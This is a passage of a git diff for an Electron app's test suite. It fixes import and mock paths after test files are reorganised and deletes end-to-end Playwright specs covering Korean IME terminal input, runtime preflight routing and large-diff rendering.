RuntimeClientEvent } from '../../../../src/shared/remote-runtime/session-graph/runtime-client-events' +import type { LinearIssue } from '../../../../src/shared/linear/issue-types' +import type { LinearConnectionStatus } from '../../../../src/shared/linear/workspace-types' +import type { Repo } from '../../../../src/shared/repository/repo-types' // @vitest-environment happy-dom @@ -68,7 +68,7 @@ vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) => ({ ...(await original>()), callRuntimeRpc: (...args: unknown[]) => detailTransport.rpc(...args) })) -vi.mock('../../src/main/linear/accounts/linear-account-client', async (original) => { +vi.mock('../../../../src/main/linear/accounts/linear-account-client', async (original) => { const actual = await original() return { ...actual, @@ -88,7 +88,7 @@ vi.mock('../../src/main/linear/accounts/linear-account-client', async (original) ] } }) -vi.mock('../../src/main/linear/requests/linear-sdk', () => { +vi.mock('../../../../src/main/linear/requests/linear-sdk', () => { class LinearClient { client: { rawRequest: (...args: unknown[]) => Promise } apiKey: string @@ -109,7 +109,7 @@ vi.mock('../../src/main/linear/requests/linear-sdk', () => { createLinearClient: (options: { apiKey: string }) => new LinearClient(options) } }) -vi.mock('../../src/main/linear/accounts/linear-workspace-registry', () => ({ +vi.mock('../../../../src/main/linear/accounts/linear-workspace-registry', () => ({ getWorkspaceState: () => ({ workspaces: detailTransport.workspaces.map((id) => ({ id, @@ -122,7 +122,7 @@ vi.mock('../../src/main/linear/accounts/linear-workspace-registry', () => ({ resolveWorkspaceId: (id?: string | null) => id ?? detailTransport.workspaces[0], getCredentialError: () => detailTransport.credential.message })) -vi.mock('../../src/main/linear/accounts/linear-token-store', () => ({ +vi.mock('../../../../src/main/linear/accounts/linear-token-store', () => ({ clearToken: (id: string) => { detailTransport.workspaces = detailTransport.workspaces.filter((workspace) => workspace !== id) detailTransport.clear(id) @@ -217,19 +217,19 @@ vi.mock('@/runtime/hosts/preflight/local-preflight-context-key', () => ({ })) vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback })) vi.mock( - '../../src/renderer/src/components/new-workspace/source-search/use-jira-source-connection', + '../../../../src/renderer/src/components/new-workspace/source-search/use-jira-source-connection', () => ({ useJiraSourceConnection: () => ({ status: null, loaded: false }) }) ) vi.mock( - '../../src/renderer/src/components/new-workspace/source-search/use-jira-url-source', + '../../../../src/renderer/src/components/new-workspace/source-search/use-jira-url-source', () => ({ useJiraUrlSource: () => ({ intent: false }) }) ) vi.mock( - '../../src/renderer/src/components/task-page/jira/project-selection/use-jira-project-inventory', + '../../../../src/renderer/src/components/task-page/jira/project-selection/use-jira-project-inventory', () => ({ useJiraProjectInventory: () => ({ projects: [], connected: true, error: null, loading: false }) }) diff --git a/tests/e2e/staging-skill-sharing.spec.ts b/tests/e2e/integrations/skills/staging-skill-sharing.spec.ts similarity index 96% rename from tests/e2e/staging-skill-sharing.spec.ts rename to tests/e2e/integrations/skills/staging-skill-sharing.spec.ts index 4aff0e5c9ec..137a69420df 100644 --- a/tests/e2e/staging-skill-sharing.spec.ts +++ b/tests/e2e/integrations/skills/staging-skill-sharing.spec.ts @@ -3,23 +3,24 @@ import { existsSync, mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync import { tmpdir } from 'node:os' import { join } from 'node:path' import type { Page } from '@stablyai/playwright-test' -import type { SkillBundleInstallResult } from '../../src/shared/skills/installation/skill-bundle-install-contract' -import type { SkillCloudPublishResult } from '../../src/shared/skills/sharing/skill-cloud-contract' -import type { SkillInstallDestination } from '../../src/shared/skills/installation/skill-install-contract' +import type { SkillBundleInstallResult } from '../../../../src/shared/skills/installation/skill-bundle-install-contract' +import type { SkillCloudPublishResult } from '../../../../src/shared/skills/sharing/skill-cloud-contract' +import type { SkillInstallDestination } from '../../../../src/shared/skills/installation/skill-install-contract' import type { SkillBundleShareInstallOperation, SkillSharePreview -} from '../../src/shared/skills/sharing/skill-sharing-contract' -import { expect, test } from './helpers/orca-app' +} from '../../../../src/shared/skills/sharing/skill-sharing-contract' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { launchHeadlessPairedRuntimeHost, type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' +} from '../../remote/paired-runtime/client-hosts/headless-paired-runtime-host' import { connectStagingSkillSshTarget, removeStagingSkillSshTarget, stagingSkillSshTargetFromEnvironment -} from './helpers/staging-skill-ssh-target' +} from '../../remote/ssh-hosts/staging-skill-ssh-target' const RUN_STAGING = process.env.ORCA_E2E_SKILL_STAGING === '1' const AUTH_TOKEN = process.env.ORCA_CLOUD_AUTH_TOKEN?.trim() diff --git a/tests/e2e/korean-ime-terminal-shift-enter-commit.spec.ts b/tests/e2e/korean-ime-terminal-shift-enter-commit.spec.ts deleted file mode 100644 index 8fad6bf286a..00000000000 --- a/tests/e2e/korean-ime-terminal-shift-enter-commit.spec.ts +++ /dev/null @@ -1,533 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { CDPSession, Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -// macOS Hangul commit sends IME Enter/229 then plain Enter/13 after compositionend. -// Send one newline after the glyph flush; deferring only the composing keydown still doubles and reorders it. - -const PROMPT = '› ' - -function stripTerminalControls(value: string): string { - let output = '' - for (let index = 0; index < value.length; index += 1) { - const code = value.charCodeAt(index) - if (code === 0x1b) { - const next = value[index + 1] - if (next === ']') { - index += 2 - while (index < value.length) { - const current = value.charCodeAt(index) - if (current === 0x07) { - break - } - if (current === 0x1b && value[index + 1] === '\\') { - index += 1 - break - } - index += 1 - } - continue - } - if (next === '[') { - index += 2 - while (index < value.length && value.charCodeAt(index) < 0x40) { - index += 1 - } - continue - } - continue - } - if ((code >= 0 && code <= 0x08) || (code >= 0x0b && code <= 0x1f) || code === 0x7f) { - continue - } - output += value[index] - } - return output -} - -function terminalImeHarnessScript(runId: string): string { - return ` -const runId = ${JSON.stringify(runId)} -let model = '' -let received = '' - -function handleData(data) { - received += data - for (const ch of data) { - if (ch === '\\u0003') { - process.exit(0) - } - if (ch === '\\r' || ch === '\\n') { - process.stdout.write('\\r\\x1b[2K[SUBMITTED_JSON_' + runId + ']' + JSON.stringify(model) + '\\n') - model = '' - continue - } - if (ch === '\\u007f' || ch === '\\b') { - model = Array.from(model).slice(0, -1).join('') - continue - } - model += ch - } - process.stdout.write('\\r\\x1b[2K[RECEIVED_JSON_' + runId + ']' + JSON.stringify(received) + '\\n') - process.stdout.write('\\r\\x1b[2K${PROMPT}' + model.replace(/\\x1b/g, '')) -} - -if (process.stdin.isTTY) process.stdin.setRawMode(true) -process.stdin.setEncoding('utf8') -process.stdout.write('IME_HARNESS_READY_' + runId + '\\n') -process.stdout.write('${PROMPT}') -process.stdin.on('data', handleData) -` -} - -async function readSubmitted(page: Page): Promise { - const content = stripTerminalControls(await getTerminalContent(page, 20_000)) - const matches = [...content.matchAll(/\[SUBMITTED_JSON_[^\]]+\]("[\s\S]*?")/g)] - return matches - .map((match) => { - try { - return JSON.parse(match[1] ?? '""') as string - } catch { - return null - } - }) - .filter((value): value is string => value !== null) -} - -async function readReceived(page: Page): Promise { - const content = stripTerminalControls(await getTerminalContent(page, 20_000)) - const matches = [...content.matchAll(/\[RECEIVED_JSON_[^\]]+\]("[\s\S]*?")/g)] - const encoded = matches.at(-1)?.[1] - if (!encoded) { - return null - } - try { - return JSON.parse(encoded) as string - } catch { - return null - } -} - -type ImeKeyEvent = { - type: string - key: string - code: string - keyCode: number - isComposing: boolean - repeat: boolean - shiftKey: boolean - ctrlKey: boolean - timeStamp: number -} - -async function installImeKeyEventLog(page: Page): Promise { - await page.evaluate(() => { - const target = window as unknown as { __imeKeyEvents: ImeKeyEvent[] } - target.__imeKeyEvents = [] - const record = (event: KeyboardEvent): void => { - target.__imeKeyEvents.push({ - type: event.type, - key: event.key, - code: event.code, - keyCode: event.keyCode, - isComposing: event.isComposing, - repeat: event.repeat, - shiftKey: event.shiftKey, - ctrlKey: event.ctrlKey, - timeStamp: event.timeStamp - }) - } - window.addEventListener('keydown', record, true) - window.addEventListener('keyup', record, true) - }) -} - -async function readImeKeyEventLog(page: Page): Promise { - return page.evaluate( - () => (window as unknown as { __imeKeyEvents?: ImeKeyEvent[] }).__imeKeyEvents ?? [] - ) -} - -async function attachEvidence(page: Page, testInfo: TestInfo, name: string): Promise { - const evidence = { - keyEvents: await readImeKeyEventLog(page), - received: await readReceived(page), - terminal: await getTerminalContent(page, 20_000), - submitted: await readSubmitted(page) - } - await testInfo.attach(`${name}.json`, { - body: `${JSON.stringify(evidence, null, 2)}\n`, - contentType: 'application/json' - }) -} - -async function dispatchHangulProcessKey( - session: CDPSession, - key: string, - code: string -): Promise { - // Hangul jamo keydowns carry Process/229; releases carry the physical keyCode. - await session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key, - code, - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229, - text: '', - unmodifiedText: '' - }) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key, - code, - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229, - text: '', - unmodifiedText: '' - }) -} - -async function composeHangulSyllable(session: CDPSession, page: Page): Promise { - await dispatchHangulProcessKey(session, 'ㅎ', 'KeyG') - await session.send('Input.imeSetComposition', { text: 'ㅎ', selectionStart: 1, selectionEnd: 1 }) - await page.waitForTimeout(60) - await dispatchHangulProcessKey(session, 'ㅏ', 'KeyK') - await session.send('Input.imeSetComposition', { text: '하', selectionStart: 1, selectionEnd: 1 }) - await page.waitForTimeout(60) -} - -async function commitSyllableAndSpace(session: CDPSession, page: Page): Promise { - await session.send('Input.insertText', { text: '하' }) - await page.waitForTimeout(60) - await session.send('Input.dispatchKeyEvent', { - type: 'keyDown', - key: ' ', - code: 'Space', - windowsVirtualKeyCode: 32, - nativeVirtualKeyCode: 32, - text: ' ', - unmodifiedText: ' ' - }) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: ' ', - code: 'Space', - windowsVirtualKeyCode: 32, - nativeVirtualKeyCode: 32 - }) - await page.waitForTimeout(60) -} - -// Replay IME Enter/229 → commit → plain Enter/13 → keyup in one unawaited burst. -// Per-event CDP waits let xterm’s setTimeout glyph flush win, hiding the native-turn race. -async function dispatchCommittingEnterChord( - session: CDPSession, - page: Page, - modifiers: number, - redispatchedModifiers: number, - redispatchAfterKeyup: boolean, - redispatchTimestampOffset = 0 -): Promise { - const timestamp = Date.now() / 1000 - const composingKeydown = session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key: 'Enter', - code: 'Enter', - modifiers, - timestamp, - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229, - text: '', - unmodifiedText: '' - }) - const commit = session.send('Input.insertText', { text: '하' }) - const redispatch = () => - session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key: 'Enter', - code: 'Enter', - modifiers: redispatchedModifiers, - timestamp: timestamp + redispatchTimestampOffset, - windowsVirtualKeyCode: 13, - nativeVirtualKeyCode: 13, - text: '', - unmodifiedText: '' - }) - const balancingKeyup = () => - session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: 'Enter', - code: 'Enter', - modifiers: redispatchedModifiers, - timestamp: timestamp + redispatchTimestampOffset, - windowsVirtualKeyCode: 13, - nativeVirtualKeyCode: 13 - }) - - if (!redispatchAfterKeyup) { - await Promise.all([composingKeydown, commit, redispatch(), balancingKeyup()]) - return - } - await Promise.all([composingKeydown, commit, balancingKeyup()]) - await page.waitForTimeout(80) - await redispatch() -} - -type HeldModifier = { - key: 'Shift' | 'Control' - code: 'ShiftLeft' | 'ControlLeft' - keyCode: 16 | 17 - modifiers: number -} - -async function dispatchHeldModifier( - session: CDPSession, - modifier: HeldModifier, - type: 'rawKeyDown' | 'keyUp' -): Promise { - await session.send('Input.dispatchKeyEvent', { - type, - key: modifier.key, - code: modifier.code, - modifiers: type === 'rawKeyDown' ? modifier.modifiers : 0, - windowsVirtualKeyCode: modifier.keyCode, - nativeVirtualKeyCode: modifier.keyCode - }) -} - -async function dispatchPlainEnter(session: CDPSession): Promise { - await session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key: 'Enter', - code: 'Enter', - windowsVirtualKeyCode: 13, - nativeVirtualKeyCode: 13 - }) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: 'Enter', - code: 'Enter', - windowsVirtualKeyCode: 13, - nativeVirtualKeyCode: 13 - }) -} - -async function readPromptLine(page: Page): Promise { - const content = stripTerminalControls(await getTerminalContent(page, 20_000)) - const promptIndex = content.lastIndexOf(PROMPT) - if (promptIndex === -1) { - return '' - } - return (content.slice(promptIndex + PROMPT.length).split(/\r?\n/)[0] ?? '').trimEnd() -} - -type CommittingEnterChordCase = { - name: string - slug: string - modifiers: number - redispatchedModifiers?: number - redispatchTimestampOffset?: number - preHeldModifier?: HeldModifier - windowsOnly?: boolean - assertOutcome: (page: Page) => Promise - expectedAfterPlainEnter: { - received: string - submitted: string[] - } -} - -async function assertShiftOutcome(page: Page): Promise { - await expect - .poll(() => readReceived(page), { - timeout: 10_000, - message: 'PTY bytes must contain committed Hangul before exactly one Shift+Enter chord' - }) - .toBe('하 하 하\u001b\r') - await expect - .poll(async () => (await readSubmitted(page)).at(-1) ?? null, { - timeout: 10_000, - message: 'submitted line must contain the full text with the trailing syllable inline' - }) - .toBe('하 하 하\u001b') - await page.waitForTimeout(500) - expect(await readSubmitted(page), 'Shift+Enter must produce exactly one newline').toEqual([ - '하 하 하\u001b' - ]) -} - -async function assertCtrlOutcome(page: Page): Promise { - if (process.platform !== 'win32') { - await expect - .poll(() => readReceived(page), { - timeout: 10_000, - message: 'PTY bytes must contain committed Hangul before exactly one Ctrl+Enter chord' - }) - .toBe('하 하 하\u001b[13;5u') - expect(await readSubmitted(page), 'CSI-u must not submit the line').toEqual([]) - return - } - - await expect - .poll(() => readReceived(page), { - timeout: 10_000, - message: 'PTY bytes must contain committed Hangul before exactly one Ctrl+Enter chord' - }) - .toBe('하 하 하\r') - await expect - .poll(() => readPromptLine(page), { - timeout: 10_000, - message: 'prompt must be empty — no literal escape bytes may survive the chord' - }) - .toBe('') - await page.waitForTimeout(500) - expect(await readSubmitted(page), 'Ctrl+Enter must produce exactly one newline').toEqual([ - '하 하 하' - ]) -} - -const COMMITTING_ENTER_CHORDS: CommittingEnterChordCase[] = [ - { - name: 'Shift+Enter', - slug: 'shift-enter', - modifiers: 8, - assertOutcome: assertShiftOutcome, - expectedAfterPlainEnter: { - received: '하 하 하\u001b\r\r', - submitted: ['하 하 하\u001b', ''] - } - }, - { - name: 'Ctrl+Enter', - slug: 'ctrl-enter', - modifiers: 2, - assertOutcome: assertCtrlOutcome, - expectedAfterPlainEnter: { - received: process.platform === 'win32' ? '하 하 하\r\r' : '하 하 하\u001b[13;5u\r', - submitted: process.platform === 'win32' ? ['하 하 하', ''] : ['하 하 하\u001b[13;5u'] - } - }, - { - name: 'Shift+Enter with modifier-lost redispatch', - slug: 'shift-enter-bare-redispatch', - modifiers: 8, - redispatchedModifiers: 0, - assertOutcome: assertShiftOutcome, - expectedAfterPlainEnter: { - received: '하 하 하\u001b\r\r', - submitted: ['하 하 하\u001b', ''] - } - }, - { - name: 'pre-held Shift+Enter with modifier-lost redispatch', - slug: 'pre-held-shift-enter-bare-redispatch', - modifiers: 8, - redispatchedModifiers: 0, - redispatchTimestampOffset: 0.01, - preHeldModifier: { key: 'Shift', code: 'ShiftLeft', keyCode: 16, modifiers: 8 }, - windowsOnly: true, - assertOutcome: assertShiftOutcome, - expectedAfterPlainEnter: { - received: '하 하 하\u001b\r\r', - submitted: ['하 하 하\u001b', ''] - } - }, - { - name: 'pre-held Ctrl+Enter with modifier-lost redispatch', - slug: 'pre-held-ctrl-enter-bare-redispatch', - modifiers: 2, - redispatchedModifiers: 0, - redispatchTimestampOffset: 0.01, - preHeldModifier: { key: 'Control', code: 'ControlLeft', keyCode: 17, modifiers: 2 }, - windowsOnly: true, - assertOutcome: assertCtrlOutcome, - expectedAfterPlainEnter: { - received: '하 하 하\r\r', - submitted: ['하 하 하', ''] - } - } -] - -test.describe('Korean IME terminal committing Enter chords', () => { - test.describe.configure({ mode: 'serial' }) - for (const chord of COMMITTING_ENTER_CHORDS) { - for (const redispatchAfterKeyup of [false, true]) { - const order = redispatchAfterKeyup ? 'keyup-before-redispatch' : 'redispatch-before-keyup' - test(`${chord.name} sends once with ${order}`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - test.skip( - chord.windowsOnly === true && process.platform !== 'win32', - 'Windows IME ownership' - ) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-korean-ime-harness-${runId}.cjs`) - const session = await orcaPage.context().newCDPSession(orcaPage) - - try { - writeFileSync(scriptPath, terminalImeHarnessScript(runId)) - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - await waitForTerminalOutput(orcaPage, `IME_HARNESS_READY_${runId}`, 10_000, 20_000) - await focusActiveTerminalInput(orcaPage) - await installImeKeyEventLog(orcaPage) - - // Leave the last 하 composing so Enter, after two Space commits, must commit it. - await composeHangulSyllable(session, orcaPage) - await commitSyllableAndSpace(session, orcaPage) - await composeHangulSyllable(session, orcaPage) - await commitSyllableAndSpace(session, orcaPage) - if (chord.preHeldModifier) { - await dispatchHeldModifier(session, chord.preHeldModifier, 'rawKeyDown') - } - await composeHangulSyllable(session, orcaPage) - await dispatchCommittingEnterChord( - session, - orcaPage, - chord.modifiers, - chord.redispatchedModifiers ?? chord.modifiers, - redispatchAfterKeyup, - chord.redispatchTimestampOffset - ) - if (chord.preHeldModifier) { - await dispatchHeldModifier(session, chord.preHeldModifier, 'keyUp') - } - - await chord.assertOutcome(orcaPage) - await dispatchPlainEnter(session) - await expect - .poll(() => readReceived(orcaPage), { - timeout: 10_000, - message: 'the next physical Enter must not be consumed by stale IME state' - }) - .toBe(chord.expectedAfterPlainEnter.received) - expect(await readSubmitted(orcaPage)).toEqual(chord.expectedAfterPlainEnter.submitted) - await attachEvidence(orcaPage, testInfo, `korean-${chord.slug}-${order}-commit`) - } finally { - await attachEvidence(orcaPage, testInfo, `korean-${chord.slug}-${order}-final`).catch( - () => undefined - ) - await session.detach().catch(() => undefined) - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - rmSync(scriptPath, { force: true }) - } - }) - } - } -}) diff --git a/tests/e2e/landing-preflight-runtime-routing.spec.ts b/tests/e2e/landing-preflight-runtime-routing.spec.ts deleted file mode 100644 index cb1df176a10..00000000000 --- a/tests/e2e/landing-preflight-runtime-routing.spec.ts +++ /dev/null @@ -1,189 +0,0 @@ -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { addPairedRuntimeEnvironment } from './helpers/nested-runtime-ssh-client-route' - -const missingGitPath = mkdtempSync(path.join(os.tmpdir(), 'orca-preflight-path-')) - -test.use({ seedTestRepo: false }) -test.describe.configure({ mode: 'serial' }) - -test.afterAll(() => { - rmSync(missingGitPath, { recursive: true, force: true }) -}) - -async function hideLocalGit(app: ElectronApplication, value: string): Promise { - // Why SHELL too: a forced local preflight merges the login shell's PATH back in first. - await app.evaluate( - (_electron, { nextPath, missingShell }) => { - process.env.PATH = nextPath - process.env.SHELL = missingShell - }, - { nextPath: value, missingShell: path.join(value, 'missing-shell') } - ) -} - -async function directGitPreflight(page: Page): Promise { - return page.evaluate( - async () => (await window.api.preflight.check({ force: true })).git.installed - ) -} - -async function expectLandingGitState( - client: PairedElectronClient, - installed: boolean -): Promise { - await expect - .poll( - () => client.page.evaluate(() => window.__store?.getState().preflightStatus?.git.installed), - { timeout: 30_000 } - ) - .toBe(installed) - const warning = client.page.getByText('Git is not installed', { exact: true }) - await (installed ? expect(warning).toBeHidden() : expect(warning).toBeVisible()) -} - -async function selectRuntime(client: PairedElectronClient, environmentId: string): Promise { - const selected = await client.page.evaluate(async (nextEnvironmentId) => { - const store = window.__store - if (!store) { - throw new Error('Paired desktop store is unavailable') - } - return store.getState().setActiveRuntimeEnvironmentPreference(nextEnvironmentId) - }, environmentId) - expect(selected).toBe(true) -} - -async function runRuntimePreflightJourney( - hubAApp: ElectronApplication, - hubAPage: Page, - testInfo: TestInfo, - headed: boolean -): Promise { - test.setTimeout(240_000) - const hubBSession = createRestartSession(testInfo) - let hubB: Awaited> | null = null - let client: PairedElectronClient | null = null - try { - await hubAPage.waitForFunction( - () => window.__store?.getState().workspaceSessionReady === true, - null, - { timeout: 30_000 } - ) - hubB = await hubBSession.launch() - await hubB.page.waitForFunction( - () => window.__store?.getState().workspaceSessionReady === true, - null, - { timeout: 30_000 } - ) - expect(await directGitPreflight(hubAPage)).toBe(true) - expect(await directGitPreflight(hubB.page)).toBe(true) - - const offerA = await createRuntimeDesktopPairingOffer(hubAPage) - client = await launchPairedElectronClient(offerA, testInfo, 'Preflight runtime A') - await hideLocalGit(client.app, missingGitPath) - expect(await client.app.evaluate(() => process.env.PATH)).toBe(missingGitPath) - if (headed) { - await client.app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.show()) - expect( - await hubAApp.evaluate( - ({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.isVisible() ?? false - ) - ).toBe(true) - expect( - await hubB.app.evaluate( - ({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.isVisible() ?? false - ) - ).toBe(true) - } - expect(await directGitPreflight(client.page)).toBe(false) - await client.page.evaluate(() => window.dispatchEvent(new Event('focus'))) - - const environmentA = client.environmentId - await expectLandingGitState(client, true) - const contextA = await client.page.evaluate( - () => window.__store?.getState().preflightStatusContextKey - ) - expect(contextA).toContain(`runtime:${environmentA}#`) - - const offerB = await createRuntimeDesktopPairingOffer(hubB.page) - const environmentB = await addPairedRuntimeEnvironment(client, offerB, 'Preflight runtime B') - await expectLandingGitState(client, true) - expect( - await client.page.evaluate(async (selector) => { - const response = await window.api.runtimeEnvironments.call({ - selector, - method: 'preflight.check', - params: { force: true } - }) - return response.ok && (response.result as { git: { installed: boolean } }).git.installed - }, environmentB) - ).toBe(true) - - await selectRuntime(client, environmentA) - await expectLandingGitState(client, true) - const beforeDisconnectContext = await client.page.evaluate( - () => window.__store?.getState().preflightStatusContextKey - ) - await client.page.evaluate(async (environmentId) => { - const store = window.__store - if (!store) { - throw new Error('Paired desktop store is unavailable') - } - await window.api.runtimeEnvironments.disconnect({ selector: environmentId }) - store.getState().setRuntimeEnvironmentStatus(environmentId, { - status: null, - checkedAt: Date.now() - }) - }, environmentA) - await expect - .poll(() => client!.page.evaluate(() => window.__store?.getState().preflightStatus)) - .toBeNull() - await expect(client.page.getByText('Git is not installed', { exact: true })).toBeHidden() - - await client.page.evaluate(async (environmentId) => { - const store = window.__store - if (!store) { - throw new Error('Paired desktop store is unavailable') - } - const response = await window.api.runtimeEnvironments.connect({ - selector: environmentId, - timeoutMs: 15_000 - }) - if (!response.ok) { - throw new Error(response.error.message) - } - store.getState().setRuntimeEnvironmentStatus(environmentId, { - status: response.result, - checkedAt: Date.now() - }) - }, environmentA) - await expectLandingGitState(client, true) - const reconnectedContext = await client.page.evaluate( - () => window.__store?.getState().preflightStatusContextKey - ) - expect(reconnectedContext).not.toBe(beforeDisconnectContext) - - await selectRuntime(client, environmentB) - await expectLandingGitState(client, true) - } finally { - await client?.dispose() - if (hubB) { - await hubBSession.close(hubB.app) - } - await hubBSession.dispose() - } -} - -test('routes landing preflight across runtime switch and reconnect', async ({ - electronApp, - orcaPage -}, testInfo) => runRuntimePreflightJourney(electronApp, orcaPage, testInfo, false)) diff --git a/tests/e2e/large-diff-freeze-repro.spec.ts b/tests/e2e/large-diff-freeze-repro.spec.ts deleted file mode 100644 index f795147cecb..00000000000 --- a/tests/e2e/large-diff-freeze-repro.spec.ts +++ /dev/null @@ -1,307 +0,0 @@ -import { rmSync, writeFileSync } from 'node:fs' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { getLargeDiffRenderLimit } from '../../src/shared/source-control/diff/large-diff-render-limit' -import { MAX_AUTOMATIC_DIFF_CHANGED_LINES } from '../../src/renderer/src/components/editor/combined-diff/load-sections/combined-diff-on-demand-load' -import { - buildLargeTypeScriptFile, - createIsolatedLargeDiffRepo, - createIsolatedStagedLocaleDiffRepo -} from './large-diff-repro-fixtures' - -async function addAndActivateRepo(orcaPage: Page, repoPath: string): Promise { - const repoId = await orcaPage.evaluate(async (pathToRepo: string) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const addedRepo = await store.getState().addRepoPath(pathToRepo) - if (!addedRepo) { - throw new Error(`isolated repo not found: ${pathToRepo}`) - } - - return addedRepo.id - }, repoPath) - - // Poll the public store because fetchWorktrees may resolve before async scan state is visible. - await expect - .poll( - () => - orcaPage.evaluate(async (targetRepoId: string) => { - const store = window.__store - if (!store) { - return 0 - } - await store.getState().fetchWorktrees(targetRepoId) - return store.getState().worktreesByRepo[targetRepoId]?.length ?? 0 - }, repoId), - { - timeout: 30_000, - message: 'isolated large-diff worktree did not load' - } - ) - .toBeGreaterThan(0) - - const worktreeId = await orcaPage.evaluate( - ({ targetRepoId, pathToRepo }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const state = store.getState() - const worktrees = state.worktreesByRepo[targetRepoId] ?? [] - const worktree = worktrees.find((entry) => entry.path === pathToRepo) ?? worktrees[0] - if (!worktree) { - throw new Error(`isolated worktree not found: ${pathToRepo}`) - } - state.setActiveRepo(targetRepoId) - state.setActiveWorktree(worktree.id) - return worktree.id - }, - { targetRepoId: repoId, pathToRepo: repoPath } - ) - - return worktreeId -} - -test.describe('Large diff freeze repro', () => { - test.describe.configure({ mode: 'serial' }) - test.use({ seedTestRepo: false }) - test('defers a large combined diff until the user loads it', async ({ - orcaPage, - registerPostElectronShutdownCleanup - }) => { - await waitForSessionReady(orcaPage) - const fixture = createIsolatedLargeDiffRepo() - // Why: Windows keeps the watched fixture repo locked until Electron exits. - registerPostElectronShutdownCleanup(async () => { - rmSync(fixture.repoPath, { recursive: true, force: true }) - }) - - const worktreeId = await addAndActivateRepo(orcaPage, fixture.repoPath) - writeFileSync( - fixture.absolutePath, - buildLargeTypeScriptFile(MAX_AUTOMATIC_DIFF_CHANGED_LINES + 1) - ) - await orcaPage.evaluate( - async ({ wId, repoPath, relativePath }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - let status = await window.api.git.status({ worktreePath: repoPath }) - let entry = status.entries.find( - (candidate) => candidate.path === relativePath && candidate.area === 'unstaged' - ) - // Why: the app may still be settling the just-added worktree's first status read. - const statusDeadline = performance.now() + 5_000 - while (!entry && performance.now() < statusDeadline) { - await new Promise((resolve) => window.setTimeout(resolve, 100)) - status = await window.api.git.status({ worktreePath: repoPath }) - entry = status.entries.find( - (candidate) => candidate.path === relativePath && candidate.area === 'unstaged' - ) - } - if (!entry) { - throw new Error(`large diff status entry not found: ${relativePath}`) - } - store.getState().setGitStatus(wId, status) - store.getState().openAllDiffs(wId, repoPath, undefined, 'unstaged', [entry]) - }, - { wId: worktreeId, repoPath: fixture.repoPath, relativePath: fixture.relativePath } - ) - - const prompt = orcaPage.getByTestId('large-diff-load-prompt') - await expect(prompt).toBeVisible() - await expect(prompt).toContainText('Large diffs are not rendered by default.') - await expect(orcaPage.locator('.monaco-diff-editor')).toHaveCount(0) - - await prompt.getByRole('button', { name: 'Load diff' }).click() - - await expect(prompt).toHaveCount(0) - await expect(orcaPage.locator('.monaco-diff-editor')).toHaveCount(1, { timeout: 30_000 }) - }) - - test('opening a large single-file diff keeps the renderer responsive', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - const fixture = createIsolatedLargeDiffRepo() - const lineCount = Number(process.env.ORCA_LARGE_DIFF_REPRO_LINES ?? '60000') - if (!Number.isFinite(lineCount) || lineCount < 0) { - throw new Error( - `Invalid ORCA_LARGE_DIFF_REPRO_LINES: ${process.env.ORCA_LARGE_DIFF_REPRO_LINES}` - ) - } - const modifiedContent = buildLargeTypeScriptFile(lineCount) - const expectFallback = getLargeDiffRenderLimit({ - originalContent: 'export const seed = 1\n', - modifiedContent - }).limited - - try { - const worktreeId = await addAndActivateRepo(orcaPage, fixture.repoPath) - writeFileSync(fixture.absolutePath, modifiedContent) - const measurement = await orcaPage.evaluate( - async ({ wId, absolutePath, relativePath, expectFallback }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const samples: number[] = [] - const intervalMs = 50 - let last = performance.now() - let maxLagMs = 0 - const timer = window.setInterval(() => { - const now = performance.now() - const lag = Math.max(0, now - last - intervalMs) - maxLagMs = Math.max(maxLagMs, lag) - samples.push(lag) - last = now - }, intervalMs) - - const startedAt = performance.now() - state.openDiff(wId, absolutePath, relativePath, 'typescript', false) - - let rendered = false - let fallbackVisible = false - let editorCount = 0 - while 